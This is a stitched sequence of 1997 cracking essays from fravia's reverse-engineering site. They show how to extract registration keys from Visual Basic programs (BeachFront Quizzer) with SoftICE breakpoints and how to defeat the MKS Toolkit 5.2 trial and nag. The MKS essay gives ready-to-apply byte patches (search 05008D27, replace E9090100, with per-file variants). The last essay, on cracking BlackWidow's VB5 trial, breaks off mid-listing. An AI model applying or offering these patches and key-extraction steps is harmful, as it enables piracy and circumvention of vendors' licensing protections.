entry. The program writes it to Wide Char format.
Finally it compares the requested code with the
one you entered in such way that if the code it
requests is:
0x12 0x34 0x56 .... Then you have to enter: 123456...

If you put a breakpoint in 'MultiByteToWideChar'


function then you will not find the final comparison
string because it is done by 'WideCharToMultiByte'
conversion.

It was written about the function 'MultiByteToWideChar'


(#1a) that it converts strings to Wide Char format.
The next function 'WideCharToMultiByte' (#1b) is the
opposite. Here I gave a little more information:

KERNEL32!MultiByteToWideChar
: 2bd2 sub edx,edx <- #1a : 68c7e2f9bf push
bff9e2c7 : 64ff32 push dword ptr fs:[edx] : 648922 mov fs:[edx],esp : 8b4c2414 mov
ecx,[esp+14] : 8a01 mov al,[ecx] : 648f02 pop dword ptr fs:[edx] : 83c404 add esp,04

http://www.instinct.org/fravia/sth1.htm (3 of 5) [2/7/2001 3:17:33 PM]


sth1.htm

: e9644c0000 jmp bff7c8d8 KERNEL32!WideCharToMultiByte : 2bd2 sub edx,edx <- #1b :


68dde2f9bf push bff9e2dd : 64ff32 push dword ptr fs:[edx] : 648922 mov fs:[edx],esp :
8b4c2414 mov ecx,[esp+14] : 668b01 mov ax,[ecx] : 8b4c2424 mov ecx,[esp+24] : e302
jecxz bff77c90 : 8a01 mov al,[ecx] : 8b4c2428 mov ecx,[esp+28] : e302 jecxz bff77c98
: 8b01 mov eax,[ecx] : 648f02 pop dword ptr fs:[edx] : 83c404 add esp,04 : e93b320000
jmp bff7aede If you put a break point: BPX MultiByteToWideChar (#1a) and/or BPX
WideCharToMultiByte (#1b) and the program you are running stops there then you'll
have in Double Word (DW) format the following information: 1. In ss:esp you have the
length of the SOURCE string; 2. In ss:esp+4 you have the RESULT's string offset
(where the result will be put); 3. In ss:esp+c you have the SOURCE's string offset
(where the source string is). Then if you type AFTER the break point: 'dd ss:esp+c'
and then 'db ds:xxxxxxxx' (where xxxxxxxx is the value which resides in 'ss:esp+c')
you'll see the source string. KERNEL32!CompareStringA : 2bd2 sub edx,edx #1c :
68c7e2f9bf push bff9e2c7 : 64ff32 push dword ptr fs:[edx] : 648922 mov fs:[edx],esp :
8b4c2414 mov ecx,[esp+14] If you put a break point: BPX CompareStringA (#1c) and the
program you are running stops there then you'll have in Double Word (DW) format the
following information: 1. In ss:esp+c you have the SOURCE's string offset (where the
source string is). 2. In ss:esp+10 you have the SOURCE's length. 3. In ss:esp+14 you
have the TARGET's string offset (where the target string is). 4. In ss:esp+18 you
have the TARGET's length. Then if you type AFTER the break point: 'dd ss:esp+c' and
then 'db ds:xxxxxxxx' (where xxxxxxxx is the value which resides in 'ss:esp+c')
you'll see the source string. Then if you type AFTER the break point: 'dd ss:esp+18'
and then 'db ds:xxxxxxxx' (where xxxxxxxx is the value which resides in 'ss:esp+18')
you'll see the target string. If you recognise that the source string is the
'Registration code' you entered then go and see the Target string and length and THIS
IS YOUR REGISTRATION CODE! ;-) At the beginning the program compares in
'CompareStringA' short strings (1-3 bytes long), where the offset is usually the
same. Suddenly there is a comparison, where the target length is 0x08. This is the
Registration Code! Just wait there for it! Finally, here is the part form VB40032.DLL
where the comparison is made:

: 6a00 push 00
: 6a00 push 00
: 56 push esi #2a - length
: 57 push edi #2b - result's offset
: ff7514 push dword ptr [ebp+14]
: ff7510 push dword ptr [ebp+10] #2c - source's offset
: 6a00 push 00
: 6a00 push 00
: ff1530c27b0f call [KERNEL32!WideCharToMultiByte] #2x
: 8bf0 mov esi,eax
: 6a00 push 00
: 6a00 push 00
: ff75fc push dword ptr [ebp-04] #3a - length
: 53 push ebx #3b - result's offset
: ff751c push dword ptr [ebp+1c]
: ff7518 push dword ptr [ebp+18] #3c - target's offset
: 6a00 push 00
: 6a00 push 00
: ff1530c27b0f call [KERNEL32!WideCharToMultiByte] #3x
: 85f6 test esi,esi
: 0f8427010000 jz 0f789121
: 85c0 test eax,eax
: 0f841f010000 jz 0f789121
: 50 push eax #4a - length.target

http://www.instinct.org/fravia/sth1.htm (4 of 5) [2/7/2001 3:17:33 PM]


sth1.htm

: 53 push ebx #4b - target's offset


: 56 push esi #4c - length.source
: 57 push edi #4d - source's offset
: ff750c push dword ptr [ebp+0c]
: ff7508 push dword ptr [ebp+08]
: ff15f8c17b0f call [KERNEL32!CompareStringA] #4x

As +ORC says: That's (nice music for us! Let's have) a


(deep look at these) pretty data!
#2 - the first string ( #2x - executes the first conversion )
#3 - the second string ( #3x - executes the second conversion )
#4x - the program compares them! That's why it does not use
'MultiByteToWideChar' but only 'WideCharToMultiByte' translation!

Special thanks to Razzia & fravia+

By sth

(c) sth 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the +HCU Visual basic project

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/sth1.htm (5 of 5) [2/7/2001 3:17:33 PM]


fuhrba.htm

MCSE MCNE tests - BeachFront Quizzer


(Visual Basic: the weak point inside VBRUN300.DLL)

by +drlan
(7 November 1997)

Visual Basic reversing


Courtesy of fravia's page of reverse engineering

Well, an 'add-on to Razzia's tutorial with a very interesting trick ("another twist on cracking VB" as +drlan writes). Here is
what +drlan (who is the author -inter alia- of an important essay about MKS Toolkit Release 5.2) wrote to me:

Fravia+,

The enclosed essay doesn't present any new rocket science to our art but
it does combine a few tricks that may be of use to folks. It highlights
an area where I had difficulty early on and presents an easy way to get
around it. This will make it more enjoyable for the students and save
them some of the pains I encountered.

Enjoy,

+drlan

Target Program : BeachFront Quizzer


Protection : demo, serial numbers to unlock tests
Cracked by : drlan [ME97]
Location : http://www.bfquiz.com

Tools needed:
- SoftICE Win95
- Hex Editor (I like PSEdit and Hex Workshop)

Conventions used:
> denotes a SoftICE command

This program is designed to help students prepare to take the Sylvan/


Prometric (formerly Drake) tests for Microsoft and Novell products. It
is similar to CNE Quizzer, Transcender, etc. BeachFront has an entire
library of self-tests for both Microsoft and Novell. So, if you want to
take some of your MCSE or MCNE tests, these are great study aids.

Let me say right up front that this is a tutorial only. I am not going
to hand out serial numbers here for lamers. The intent of this tutorial
is to provide you (the cracker) with another approach for defeating those
damn Visual Basic apps. So, if you're just looking for serials, then go

http://www.instinct.org/fravia/drlan52.htm (1 of 5) [2/7/2001 3:17:38 PM]


fuhrba.htm

elsewhere. If you want to learn another twist on cracking VB, then please
read on!

Download the target (the testing module) and a few of the self-tests. Run
it a few times to get a feel for what's going on. You'll notice that the
only test you can actually try is the "demo" one with limited questions.
When you try to run one of the real tests, it asks you to enter a 12 digit
"database key."

I already mentioned that this is a VB application, so our standard approach


of dis-assembling or playing in SoftICE will not work (or at least will not
be all that much fun).

I want to take a moment here to extend a very warm thank you to Razzia. It
was Razzia who did the hard work which makes this essay possible. His essay
on cracking VB apps is one of the best I've ever read. However, early on in
my cracking career, for some reason I had trouble following the essay and I
just had a hell of a time trying to crack VB programs. I fully understand
it now and appreciate it for what it is. My intent here is to save some of
the newbie crackers from losing hair over VB apps and to save Razzia from
people asking too many questions about his wonderful essay.

So here goes...

We know from Razzia's work that VB apps typically do their comparisons like
this:

[borrowed from Razzia's essay]


Step 8: Now we have found the code where the VB3 dll does the comparing
we can now place a breakpoint there and disable the other breakpoints. We
won't need them anymore. We HAVE FOUND the place where things get compared
in VB3. What you see is this :

:The_VB3_compare_snippet
: 8BCA mov cx, dx
: F3A6 repz cmpsb ;<- here the strings in ds:si and es:di : 7401 je 8CB6
; are being compared : 9F lahf : 92 xchg ax,dx : 8D5E08 lea bx, [bp+08] : E80E06 call
92CB Just before the REPZ CMPSB if you do a 'ed si' and a 'ed es:di', you will see
what is compared with what.

Now that we know where VB 3 does its string comparing, we know "where" to
set our breakpoint. Then we can see what it compares (the right string)
with the string we entered. Razzia suggests using SoftICE to do a search
for the hex values of the instructions (while you're in the code of the
VBRUN300.DLL) and this is what I always had trouble with. I could never
get sICE to find the code segment this way.

However, I know a little trick that I learned from my good friend josephco
that will allow me to do exactly what I need to do here and that is break
in right on that MOV CX, DX. The trick is to hex edit the file and stick
in some instruction that we know we can break on (like an INT 3). The hex
value for an INT 3 is CC. So, make a backup copy of your VBRUN300.DLL...
Then open it in your favorite hex editor and search for the above code
block. This search string will be unique:

http://www.instinct.org/fravia/drlan52.htm (2 of 5) [2/7/2001 3:17:38 PM]


fuhrba.htm

8BCAF3A674019F928D5E08E80E06

Once you've found it, change the 8B into CC. Now we have an INT 3 stuck in
right at the beginning of the compare routine. We definately do not want
this instruction to execute, so before you do anything else, go into sICE
and set a breakpoint on int 3.

>BPINT 3

Okay, now you can run the target. It will break on the INT 3 because it
must be doing some other string comparison work. IMPORTANT: when it does
break, you must assemble back in the original instruction (MOV CX, DX) so
it does not execute the INT 3. If you skip this step, your system will
crash! So, after SoftICE breaks on the INT 3, assemble back in the old
instruction.

>A
>MOV CX, DX
>press ESC

Let's "clear" all existing breakpoints now.

>BC *

Now, set a new breakpoint on the MOV CX, DX line. You can do this by just
double clicking on the line if you have mouse support enabled. Or, type
BPX ssss:oooooooo (where ssss is the segment and oooooooo is the offset).
So, now we have the original instruction assembled back in place and we
have a breakpoint set there so we can pop in right before the magic moment.

Before you toggle back over to the program (using Ctrl-D or F5), let's go
ahead and "disable" this breakpoint for now (otherwise it will pop several
times before we really need it).

>BD *

Okay, now toggle back over and select a self-test. Type in a 12 digit key
but don't click OK yet. Toggle back in to SoftICE (Ctrl-D) and "enable"
the breakpoint.

>BE *

Toggle back to the app (Ctrl-D or F5) and now click on OK. You should be
staring at a SoftICE screen now and sitting on the MOV CX, DX line.

We know (again from Razzia) that VB 3 is about to compare what's in ES:DI


with what's in DS:SI. So, let's "display" what's there in memory. In this
case ES == DS, so:

>D di ; should be the 12 digit number you entered

>D si ; yeeha; the correct number! (only the first 12 digits)

You can save yourself a few keystrokes by editing your breakpoint and
making it do the "D si" for you. To do this:

http://www.instinct.org/fravia/drlan52.htm (3 of 5) [2/7/2001 3:17:38 PM]


fuhrba.htm

>BPE 0 ; edit breakpoint 0

Remove the # in front of your address and add this to the end of the line:

DO "d si"

So, your new breakpoint should look something like this (if you do a BL).

00) BPX #2B67:00008CAF DO "d si"

You'll want to "disable" it before you toggle back to the program to try
a different test module, otherwise it will break several times and slow
you down. Then once you're ready to find another key, just toggle back
to sICE (Ctrl-D) and "enable" the breakpoint.

Since you already have your breakpoint set, you can loop through all the
tests you want and find out all the correct "database keys." Again, I am
not going to list any of them here. Sorry, lamers...

VERY IMPORTANT: Do not forget to restore your backup copy of the VB dll
(VBRUN300.DLL). You may want to save your debug version as vbrun300.cc
just in case you need to do another exercise like this sometime. :-)

I use this same trick a lot when I know where I want to break in on a
target but have troulbe pin pointing it. I just stick in an INT 3 and
BPINT 3, then re-assemble the old instruction back in. It works quite
well and can save a considerable amount of time when you're "seeking the
needle in the haystack."

This same technique should work equally well for VB4 (and perhaps 5).
From Razzia's earlier essay, we know VB 4 usually does its compares like
this:

[borrowed from Razzia's essay]


I have done all the hard work for you and found the VB4 dll code
that compares two strings (in WideChar format !).
Heres the listing :

: 56 push esi
: 57 push edi
: 8B7C2410 mov edi, [esp + 10]
: 8B74240C mov esi, [esp + 0C]
: 8B4C2414 mov ecx, [esp + 14]
: 33C0 xor eax, eax
: F366A7 repz cmpsw ;<-- here the (WideChar) strings at ds:esi : 7405 je
0F79B362 ; and es:edi get compared : 1BC0 sbb eax, eax : 83D8FF sbb eax, FFFFFFFF :
5F pop edi : 5E pop esi : C20C00 ret 000C

So, just stick an INT 3 (CC) in place of the push esi (56) and you're on
the track...

That's it for this lesson. Hope this was fun and instructional.

Disclaimer: THIS ESSAY IS FOR EDUCATIONAL PURPOSES ONLY. ANY USE, MIS-USE

http://www.instinct.org/fravia/drlan52.htm (4 of 5) [2/7/2001 3:17:38 PM]


fuhrba.htm

OR ILLEGAL ACTIVITY IS THE SOLE RESPONSIBILITY OF THE READER.

Personal GreetZ: Razzia, josephco, niabi, fravia+, +gthorne and +ORC!

drlan
(c) +drlan. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

project8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/drlan52.htm (5 of 5) [2/7/2001 3:17:38 PM]


lan003

MKS Toolkit Release 5.2


150 identical protection schemes
by Drlan
(18 September 1997, slightly edited by fravia+)

Courtesy of Fravia's page of reverse engineering


Well, an interesting essay, Drlan seems to specialize on nice little "tools of the trade". Here we have an interesting
case: 150 little unix programs (VERY USEFUL) ported to Win95... every single one of them with the same stupid
protection! And, as you'll read at the bottom, a request for help from the "old hands" (specifically +gthorne, as it
seems :-)

Target Program: MKS Toolkit Release 5.2


Protection: Nag(s), 30 day time limit
Cracked by: drlan [Me'97/C4N]!
Location: http://www.mks.com

Tools needed:
- SoftICE 3.01 for Windows 95
- W32Dasm 8.9 (any version will do)
- Hex Editor (I like PSEdit and Hex Workshop)

Conventions used:
> denotes a SoftICE command

While you may not consider it exactly a "tool of our trade," this target
contains a set of UNIX-like utilities that you just may find useful. The
MKS Toolkit is a set of UNIX-like programs that run on top of Windows 95
or Windows NT. I think you may find some useful tools in this babe, like
many of your favorite UNIX utilities (awk, grep, vi, sh, etc.). Granted,
no program can transform Windows into UNIX, but this does give you many
of the little command line utilities and a SHell with the look and feel.

Download the target and run it a few times to get a feel for what's going on.
You'll notice a nice little reminder that the program will expire in 30 days.
That doesn't sound like quite enough time for a thorough evaluation, so let's
get to work...

Take a look at the directory where the demo was installed. You'll find lots
of little programs (about 150 of them, sh.exe, vi.exe, grep.exe, etc.). Let's
use grep.exe as our target. Go ahead and run grep. There's our friendly nag.
Interestingly, grep.exe ran in the background and the nag came up as a new
foreground window. Click the CLOSE button on the nag screen and your back to a
screen displaying the syntax for grep. Ok, now set your date way ahead to see
what happens when we're passed the point of no return. You'll get a message
box telling you "The MKS Toolkit demo has expired." Bummer. Set your date to

http://www.instinct.org/fravia/lan003.htm (1 of 6) [2/7/2001 3:17:46 PM]


lan003

the correct date and the program still (and the nag) still runs. So, it does
not leave behind anything indicating that it already expired. That's nice for
our purposes.

Run grep again and pop over into SoftICE (with Ctrl-D) to see what all is
running while the nag screen is up. We'll use the sICE TASK command.

>TASK ; see what tasks are running

There's GREP (our target). Hmm, and there's MKSDEMO (perhaps our nag). Click
CLOSE on the nag, then pop back into sICE and do TASK again. Yep, MKSDEMO was
the nag program (because it's no longer in our TASK list).

I originally thought (hoped) I could just fix the MKSDEMO.EXE and that all
would be happy. No such luck! Each little .EXE has its own date check built
in. I guess this is semi-good since it will take a little more work to crack
all these darn little .EXEs. Alas, after just a bit of poking around, I found
that while they did a good job by not relying on a single program for the meat
of the protection, that they did leave the door wide open. All the .EXEs use
the same routine to check the date, call the nag, etc. So, we just have to
do a little bit of work to crack them ALL!

On to the cracking... Let's dead list grep to see what's going on in there.
Disassemble with W32Dasm 8.9 and save the dead listing. Now, having run the
target and "felt" its behavior, we should have some good ideas on what we're
looking for. We could search for "MKSDEMO.EXE" and it would take us to the
section of interest. Or, how about searching for 278D00 (that's 30 days in
computer terms, 60 secs * 60 mins * 24 hours * 30 days = 259000 decimal or
278D00 hex) and we know 'puters prefer hex. Or, we could search for the text
of the expiration message "The MKS Toolkit demo has expired." Either search
will bring you close to the section of interest. You should find something
like this:

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00402A52(C)
|
:00402A65 8B45F8 mov eax, dword ptr [ebp-08] ; install date
:00402A68 05008D2700 add eax, 00278D00 ; plus 30 days
:00402A6D 3B45F4 cmp eax, dword ptr [ebp-0C] ; less than now
:00402A70 0F8D0D000000 jnl 00402A83 ; if so, go on.

* Possible StringData Ref from Data Obj ->"The MKS Toolkit demo trial period "
->"has expired."
|
:00402A76 68B0C34000 push 0040C3B0 ; ouch, time's up
:00402A7B E8FB000000 call 00402B7B
:00402A80 83C404 add esp, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:


|:00402A70(C)
|

http://www.instinct.org/fravia/lan003.htm (2 of 6) [2/7/2001 3:17:46 PM]


lan003

:00402A83 C70508C4400000000000 mov dword ptr [0040C408], 00000000


:00402A8D 6A00 push 00000000
:00402A8F 68A32B4000 push 00402BA3

* Reference To: USER32.EnumWindows, Ord:00C8h


|
:00402A94 FF15E0414100 Call dword ptr [004141E0]
:00402A9A 833D08C4400000 cmp dword ptr [0040C408], 00000000 ; hmmm?
:00402AA1 0F85CF000000 jne 00402B76 ; if non-zero, the func
:00402AA7 6A44 push 00000044 ; was successful and we
:00402AA9 6A00 push 00000000 ; make the jne
:00402AAB 6818094100 push 00410918
:00402AB0 E80B410000 call 00406BC0
:00402AB5 83C40C add esp, 0000000C
:00402AB8 C7051809410044000000 mov dword ptr [00410918], 00000044

* Reference To: USER32.GetForegroundWindow, Ord:00F9h


|
:00402AC2 FF15DC414100 Call dword ptr [004141DC]
:00402AC8 8945E4 mov dword ptr [ebp-1C], eax
:00402ACB 8B45E4 mov eax, dword ptr [ebp-1C]
:00402ACE 50 push eax

* Possible StringData Ref from Data Obj ->"mksdemo.exe %d"


|
:00402ACF 6834C44000 push 0040C434 ; we don't want
:00402AD4 8D4580 lea eax, dword ptr [ebp-80] ; to be here!!!
:00402AD7 50 push eax
:00402AD8 E8A3400000 call 00406B80
:00402ADD 83C40C add esp, 0000000C

The EnumWindows and GetForeGroundWindow are just setting up for the call
to our ugly nagger (mksdemo.exe). But, look at the conditional jump (jne)
after the call to EnumWindows.

The EnumWindows function enumerates all top-level windows on the screen


by passing the handle of each window, in turn, to an application-defined
callback function. EnumWindows continues until the last top-level window
is enumerated or the callback function returns FALSE.

BOOL EnumWindows(

WNDENUMPROC lpEnumFunc, // pointer to callback function


LPARAM lParam // application-defined value
);

Parameters

lpEnumFunc

Points to an application-defined callback function. For more information,

http://www.instinct.org/fravia/lan003.htm (3 of 6) [2/7/2001 3:17:46 PM]


lan003

see the EnumWindowsProc callback function.

lParam

Specifies a 32-bit, application-defined value to be passed to the callback


function.

Return Values

If the function succeeds, the return value is nonzero.


If the function fails, the return value is zero.

I am not an ASM guru, nor a master of the Win32 API, but this looks like it
is setting up to CALL MKSDEMO.EXE, checking that it is the foreground window
and if so (return value is nonzero), it executes the jump (jne 00402B76). So
all it wants to do is launch mksdemo.exe successfully, allow it to become the
foreground window, then our target (SH.EXE) continues on its merry way. If it
does not successfully launch mksdemo.exe, it will bitch about it and let you
know. So, it appears that the jump to 00402B76 is a desireable thing. If
you look further down through the dead listing, you'll see lots of phrases
bitching about not being able to "properly execute MKSDEMO.EXE." And then,
at 00402B76 we prepare for our RETurn to caller. Let's have a look at this
code:

* Referenced by a Jump at Addresses:00402AA1(C), :00402B63(C)


|
:00402B76 5F pop edi
:00402B77 5E pop esi
:00402B78 5B pop ebx
:00402B79 C9 leave
:00402B7A C3 ret

As always, there are a million and one ways to crack this. But, I'm looking
for something generic because we have around 150 little .EXE's to patch. So,
let's see just how many birds we can kill with one stone! :-)

We want to get rid of the nag, and we've seen what sets it up and where we
need to go to bypass it. We also want our evaluation period to last forever
and we've seen the date test, too. Let's combine all this into a nice 4 byte
crack that fixes the whole mess. How about changing the date check to skip
the check and just jump to our RETurn to caller? So, to pinpoint this we want
to break in just before we compare install date+30 with current date. There
are a couple ways we could do this.

1) If we're still in our evaluation period, we could BPX EnumWindows. Then


scroll up to the add eax, 00278D00 instruction and set a breakpoint there.
However, if we're already past the point of no return, we'll never get to the
EnumWindows call. So, this probably isn't our best bet.

2) Before we can compare the install date+30 with the current date, the progie
has to get the current date from somewhere. Two of the more common ways it

http://www.instinct.org/fravia/lan003.htm (4 of 6) [2/7/2001 3:17:46 PM]


lan003

can do this are: GetLocalTime and GetSystemTime. Our target happens to use the
latter. So let's toggle over into sICE (Ctrl-D) and set a breakpoint on this.

>bpx GetSystemTime

Run grep and sICE will pop on the GetSystemTime call. We need to get back into
our target, so press F12 twice (P RET twice). If you look down a few lines in
your code window, you'll see the line that adds 30 days to the install date.
This is the line from the code snipit above.

:00402A68 05008D2700 add eax, 00278D00

If you scroll down in your code window a little further you'll see the call to
EnumWindows. And after the call, there is the test to check its return value
and a conditional jump (jne 00402B76) if the function was successful. I think
what we'll do here is just skip the date test and jump right to the cleanup and
RETurn to caller (at address 00402B76). So, let's assemble in some new code:

>A
>JMP 00402B76
>(press Esc)

Now, jot down the hex representation for the JMP 00402B76. If you don't see
it turn your code display on in sICE.

>code on

The new instruction should look something like this:

:00402A68 E909010000 jmp 00402B76 ; jump over the whole nag mess

Remember the old instruction was:

:00402A68 05008D2700 add eax, 00278D00 ; add 30 days

So we've done a 4 byte crack, exchanging 05008D27 with E9090100. This seems
pretty elegant. Let's try it. Press Ctrl-D or F5 in sICE to continue running
the target. It runs, sans nag screen.

Let's now transfer this live crack into something more permanent. Load up
grep.exe into your favorite hex editor and make the following change:

Search: 05008D27
Replace:E9090100

Run it again. Beautiful, no nags. Set your date way ahead. Run again. Still
no nags. Hey this is pretty cool, but what about the remaining 150 damn .EXEs?
Well, the good news is that they all use the same code to do the dirty work.
In a few of them the "replace" string is slightly different because there is a
little more or less code in between, so they have to jump a different number of
bytes. Here's what you need to do to fix them all (starting with the ones that

http://www.instinct.org/fravia/lan003.htm (5 of 6) [2/7/2001 3:17:46 PM]


lan003

deviate from our E9090100). The search string is the same for all (05008D27).

mksdemo.exe hehe, we won't need him any more


tksched.exe no date check, no nag
vdiff32.exe no date check, no nag

pg.exe E9D80000
sh.exe E9D80000
vi.exe E9D80000
viw.exe E9D80000
vpax.exe E9CB0000

For all the rest of the programs, search: 05008D27 and replace: E9090100.

That's it for this lesson. Hope this was fun and instructional.

Disclaimer: THIS ESSAY IS FOR EDUCATIONAL PURPOSES ONLY. ANY USE, MIS-USE
OR ILLEGAL ACTIVITY IS THE SOLE RESPONSIBILITY OF THE READER.

Group GreetZ: Everyone in [Me'97/C4N], PC'97, UCF and CRACKING.


Personal GreetZ: josephco, niabi, +YOSHi, razzia, {fravia+, +gthorne and +ORC}!
Thank you for all your teachings. I hope I am repaying my debt of gratitude.

Invitation/Request: Since there are damn near 150 programs that need the same
search and replace performed, this would be an excellent opportunity to use a
"generic" patcher. Again, I'm no programming guru. I could probably come up
with some spaghetti code to do this, but I think we'd all benefit more seeing
how one of the masters would do this. So, I leave this as an open invitation
to any of you who'd like to enlighten us on programming a "generic" patcher
to carry out this repetitive work for us. How about it +gthorne, others???

+drlan

(c) +drlan 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


academy database antismut search_forms mail_fravia
is reverse engineering legal?

http://www.instinct.org/fravia/lan003.htm (6 of 6) [2/7/2001 3:17:46 PM]


How to Crack vb5

Happy VB5 cracking


(Blackwindow's demise ~ IF visual basic THEN cracked at once)

by intruder mexelite97
(19 December 1997)

Courtesy of fravia's page of reverse engineering


Well, another very interesting contribution to our visual basic project! I find intruder mexelite97's project of
preparing our own references for the Msvbvm50.dll functions VERY interesting, and I will send my contribution asap.
In the mean time, once more, I would like to suggest to all those that are working on VisualBasic (or any other kind of
software reversing, come to think of that :-) to have at least a try at Smartcheck, a fantastic Numega's cracking tool
(see my relevant essay), those of you that have not used it yet for cracking purposes will be quite surprised :-)
One last thing: is there a lesson for shareware programmers? Yes, a quite interesting one:
IF VISUAL BASIC THEN CRACKED AT ONCE
Therefore, DO NOT USE visual basic... or if you really think you must, at least prepare your protection schemes in
assembly, so learn assembly, so forget Visual Basic... it's the devil (cracker) circle! :-)

First i would like to thanks fravia+, +gthorne, the_owl, niabi, razzi, josephco and all of you guys that i can't remember
now. This is my small contribution for the war against our beloved bill and Micro$oft, i hope you enjoy this tute.
Tools needed:
-Softice (I'm using v3.2)
-Wdasm
-Hex editor

Blackwindow v3.21
Blackwidow is an off-line browser and I find it pretty kewl (get it at Tucows or any other shareware archive), but has
some limitations. This is a VB5 proggie, the exe is about 400 kb and has lots of calls to the the big, fat mama:
Msvbvm50.dll.
First i will crack the _blackwidow.exe (no browser) and _bwds.exe (this exe is called to download the selected files),
since this program as two more exe files (the others, blackwidow.exe and bwds.exe, allow you to browse through the
downloaded files.
Now run the proggie a couple of times and check the protection type, have u checked?
Ok there is a stupid nag window that tells you how many days you have left to evaluate ("You have XX days
left")**, and you can download a maximum of 50 files each time (this really pisses me off), why can't they let us
evaluate the full working proggie, grrrrrrrrr, but we have the possibility to register the proggie if we want to, it's a S/N
protection.
Now change the date, say one month forward, now run the proggie again, can u see the nag that tells u that your
evaluation is over ("Your evaluation period has expired..")***? And if u try to explore any site , the same nag will
pop up and ask you to register.
How do we crack this one?
You can use razzi's techniques of hmemcpy and MultiBytetoWidechar but you will get in some huge encryption and
checksum routines, damn there must be another way!!!
I lost a couple of days trying to crack the S/N and finally I decided to try another approach.
I'll use a different approach, one that i've never seen in any essay. (For the moment, just remember, that in vb4

http://www.instinct.org/fravia/intrud.htm (1 of 5) [2/7/2001 3:17:56 PM]


How to Crack vb5

proggies and vb5 as well, strings are in wide format).


Let's crack! First thing is to get a disassembled list of _blackwidow.exe. Have u got it? Good, let's go on. Can you see
the huge amount of calls? (damn VB programmers).
Now check the imports hmminteresting name rtcMsgBox, __vbalenBstr, .etc., since we are going to use
softice don't forget to load Msvbvm50.dll exports into softice.
Ok now run blackwidow, can u see the nag? now we will set a breakpoint on blackwidow code, press Ctrl+D to get
into softice and type bpx __vbalenBstr (you can try any bpx you fancy on other functions, but this one will work for
sure), now Ctrl+D to get out of softice and just try to register the proggie (just press the OK button) and Softice will
pop up at the beginning of __vbalenBstr, press F11 to get out of the call and you will be inside blackwidow code.
Now here's the approach, we are going to search for the message in the nag, remember - "You have XX days left",
but don't forget that the string is in wide format. So we will search for "You have"

Character ASCII
Y 59
o 6f
u 75
(space) 20
h 68
a 61
v 76
e 65

Let's search.....in softice type - s 0 lffffffff 59 00 6f 00 75 00 20 00 68 00 61 00 76 00 65


softice will probably find some memory locations with this string but only one will be inside blackwidow data, check
the line that separates the data window from the window above if something like this appears:
----------_BLACKWIDOW!.text+1010C----------byte-----------
then you found your string!!!!!!
Now just write down them mem location, mine is 411C0C, now disable the breakpoint you set and go to your
disassembled list and search for '411C0C' (ATTENTION: ignore the code line with the offset '411C0C' we are
looking for the code where data offset '411C0C' is used, not code offset) .....there is only one place where this address
is used, look at the code:
* Referenced by a Jump at Address:0044486B(C)
|
:00444BCA 680C1C4100 push 00411C0C ;<----here 'You have % days left.....'
:00444BCF 50 push eax

Hmm...interesting isn't it? Let's go on now we will search for the string that appears in the message when the
evaluation period is over. We will use the same method we used to find the first string, enable the breakpoint and
repeat the same procedure, when you're inside blackwidow code just search for the string in the nag. So we will
search for "Your evaluation period has now expired"

Character ASCII
Y 59

http://www.instinct.org/fravia/intrud.htm (2 of 5) [2/7/2001 3:17:56 PM]


How to Crack vb5

o 6f
u 75
r 72
(space) 20
e 65
v 76
a 61
l 6c

Let's search.....in softice type - s 0 lffffffff 59 00 6f 00 75 00 72 00 20 00 65 00 76 00 61 00 6c


search until you find the string we are looking for inside blackwidow data, check the line that separates the data
window from the window above. Write down the adress and search for it inside the disassembled list, once again it
will only appear once:

* Referenced by a Jump at Address:00444850(U)


* Reference To: MSVBVM50.rtcGetTimer, Ord:0217h
|
:00444858 FF1590444600 Call dword ptr [00464490]
:0044485E A128E04500 mov eax, dword ptr [0045E028] ;eax=days left
:00444863 D91D30E04500 fstp dword ptr [0045E030] ;doesn't matter
:00444869 3BC3 cmp eax, ebx ;cmp eax with ebx, ebx=0
:0044486B 0F8F59030000 jg 00444BCA ;jmp if any days left, this
;jump will lead you to the nag

* Reference To: MSVBVM50.__vbaStrCopy, Ord:0000h


|
:00444871 8B3DD0444600 mov edi, dword ptr [004644D0]
:00444877 BAB81B4100 mov edx, 00411BB8 ;<-----here
:0044487C 8D4DEC lea ecx, dword ptr [ebp-14]
We found the place where the program decides which nag should pop up, now let's take a look of the code just before
this, this call to rtcGetTimer:

:0044471A 1BFF sbb edi, edi


:0044471C F7DF neg edi
:0044471E E8DD6A0100 call 0045B200 ;<---what is this??
:00444723 33D2 xor edx, edx ;edx=0
:00444725 3DDABF0202 cmp eax, 0202BFDA ;cmp eax with some checksum
:0044472A 0F95C2 setne dl ;set dl=1 if not equal
:0044472D 0BFA or edi, edx
:0044472F 750D jne 0044473E ;jmp unregistered user--
:00444731 66391D78E04500 cmp word ptr [0045E078], bx
:00444738 0F8403040000 je 00444B41

* Referenced by a Jump at Address:0044472F(C)


:0044473E 833D28E0450001 cmp dword ptr [0045E028], 1 ;compare days left **
:00444745 0F8C07010000 jl 00444852 ;jmp if 0 days left
:0044474B 8D4598 lea eax, dword ptr [ebp-68]

http://www.instinct.org/fravia/intrud.htm (3 of 5) [2/7/2001 3:17:56 PM]


How to Crack vb5

:0044474E 50 push eax

* Reference To: MSVBVM50.rtcGetDateVar, Ord:0262h


|
:0044474F FF1508454600 Call dword ptr [00464508]

* Referenced by a Jump at Address:00444745(C)


* Reference To: MSVBVM50.__vbaStrMove, Ord:0000h
|
:00444852 8B3544454600 mov esi, dword ptr [00464544]; <- here, if 0 days left

* Referenced by a Jump at Address:00444850(U)


* Reference To: MSVBVM50.rtcGetTimer, Ord:0217h
|
:00444858 FF1590444600 Call dword ptr [00464490]
:0044485E A128E04500 mov eax, dword ptr [0045E028] ;eax=days left
:00444863 D91D30E04500 fstp dword ptr [0045E030] ;doesn't matter
:00444869 3BC3 cmp eax, ebx ;cmp eax with ebx, ebx=0
:0044486B 0F8F59030000 jg 00444BCA ;jmp if any days left, this jump
;will lead you to the nag

* Reference To: MSVBVM50.__vbaStrCopy, Ord:0000h


|
:00444871 8B3DD0444600 mov edi, dword ptr [004644D0]
